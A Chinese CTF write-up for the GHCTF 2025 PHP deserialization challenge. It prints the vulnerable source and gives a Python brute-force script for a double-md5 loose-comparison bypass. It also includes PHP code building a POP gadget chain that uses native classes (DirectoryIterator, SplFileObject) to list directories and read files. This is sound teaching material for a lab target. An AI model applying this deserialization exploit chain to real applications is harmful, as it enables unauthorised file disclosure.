[GHCTF 2025]Popppppp[pop链构造] [php原生类的利用] [双md5加密绕过]

发布于:2025-03-21 ⋅ 阅读:(27) ⋅ 点赞:(0)

题目 

<?php
error_reporting(0);

class CherryBlossom {
    public $fruit1;
    public $fruit2;

    public function __construct($a) {
        $this->fruit1 = $a;
    }

    function __destruct() {
        echo $this->fruit1;
    }

    public function __toString() {
        $newFunc = $this->fruit2;
        return $newFunc();
    }
}

class Forbidden {
    private $fruit3;

    public function __construct($string) {
        $this->fruit3 = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

class Warlord {
    public $fruit4;
    public $fruit5;
    public $arg1;

    public function __call($arg1, $arg2) {
        $function = $this->fruit4;
        return $function();
    }

    public function __get($arg1) {
        $this->fruit5->ll2('b2');
    }
}

class Samurai {
    public $fruit6;
    public $fruit7;

    public function __toString() {
        $long = @$this->fruit6->add();
        return $long;
    }

    public function __set($arg1, $arg2) {
        if ($this->fruit7->tt2) {
            echo "xxx are the best!!!";
        }
    }
}

class Mystery {

    public function __get($arg1) {
        array_walk($this, function ($day1, $day2) {
            $day3 = new $day2($day1);
            foreach ($day3 as $day4) {
                echo ($day4 . '<br>');
            }
        });
    }
}

class Princess {
    protected $fruit9;

    protected function addMe() {
        return "The time spent with xxx is my happiest time" . $this->fruit9;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func . "Me"], $args);
    }
}

class Philosopher {
    public $fruit10;
    public $fruit11="sr22kaDugamdwTPhG5zU";

    public function __invoke() {
        if (md5(md5($this->fruit11)) == 666) {
            return $this->fruit10->hey;
        }
    }
}

class UselessTwo {
    public $hiddenVar = "123123";

    public function __construct($value) {
        $this->hiddenVar = $value;
    }

    public function __toString() {
        return $this->hiddenVar;
    }
}

class Warrior {
    public $fruit12;
    private $fruit13;

    public function __set($name, $value) {
        $this->$name = $value;
        if ($this->fruit13 == "xxx") {
            strtolower($this->fruit12);
        }
    }
}

class UselessThree {
    public $dummyVar;

    public function __call($name, $args) {
        return $name;
    }
}

class UselessFour {
    public $lalala;

    public function __destruct() {
        echo "Hehe";
    }
}

if (isset($_GET['GHCTF'])) {
    unserialize($_GET['GHCTF']);
} else {
    highlight_file(__FILE__);
}

这个一开始真没看出来是原生类的利用,光知道call_user_func()了 

一些魔术方法再次复习:

  • __call():当访问不存在的方法时调用
  • __set():当给一个不存在的属性赋值的时候触发
  • __get():当访问不存在的属性的时候调用
  •  __invoke():当把类当作函数调用的时候触发

双重md5加密绕过

 if (md5(md5($this->fruit11)) == 666)

ai写的脚本

import hashlib  #可以进行md5计算(哈希)
import itertools #创建迭代器
def find_collision():
    chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
    for s in itertools.product(chars, repeat=4): 
 # 使用itertools.product函数生成所有可能的长度为 4 的字符串组合,根据计算力调整长度
        s = ''.join(s)
        first_hash = hashlib.md5(s.encode()).hexdigest()
        second_hash = hashlib.md5(first_hash.encode()).hexdigest()
        if second_hash.startswith('666') and not second_hash[3].isdigit():
            return s
    return None

solution = find_collision()
print(f"Payload: {solution}")  # 输出符合要求的字符串

 爆破得 abe2 可以

pop链

CherryBlossom()--->Samurai()--->Warlord()--->Philosopher()--->Mystrey()

__destruct()     __toString()    __call()    __invoke()         __get()

fruit1              fruit6        fruit4      fruit10           
$cb=new CherryBlossom();
$cb->fruit1=new Samurai();
$cb->fruit1->fruit6=new Warlord();
$cb->fruit1->fruit6->fruit4=new Philosopher();
$cb->fruit1->fruit6->fruit4->fruit10=new Mystery();

echo serialize($cb);

利用array_walk():

 array_walk()用于遍历数组并对每个元素执行自定义的回调函数

在这里是:

array_walk($this, function ($day1, $day2) //day1是参数,day2是原生类
{
            $day3 = new $day2($day1);  //实例化类 此时day3应该是数组之类的东西
            foreach ($day3 as $day4) 
              {
                echo ($day4 . '<br>');
               }
});

 遍历类 $this,但是他是一个类不是数组,在php底层会将类转换成数组:

规则如下:

  • 公共属性(public:会被保留,键名为属性名,键值为属性值。

  • 受保护属性(protected:键名前会添加 \0*\0(空字符标记),例如 \0*\0fruit9

  • 私有属性(private:键名前会添加 \0类名\0,例如 \0Forbidden\0fruit3

也就是说这里如果自己设置一个属性,键值和键名都是我们来定义,就用到了php原生类

php常见原生类读取文件

名字 作用 举例
DirectoryIterator 查看文件系统目录(查看目录) DirectoryIterator("/")
FilesystemIterator    基本同上    FilesystemIterator("/")
GlobIterator  可以通过模式匹配来寻找文件路径 GlobIterator("f*.txt")[知道文件部分名字]
SplFileObject     文件内容的遍历、查找和操作(查看文件)  SplFileObject("/path/to/file.txt")

查看目录用 DirectoryIterator 或者 FilesystemIterator 都行

查看文件用 SplFileObject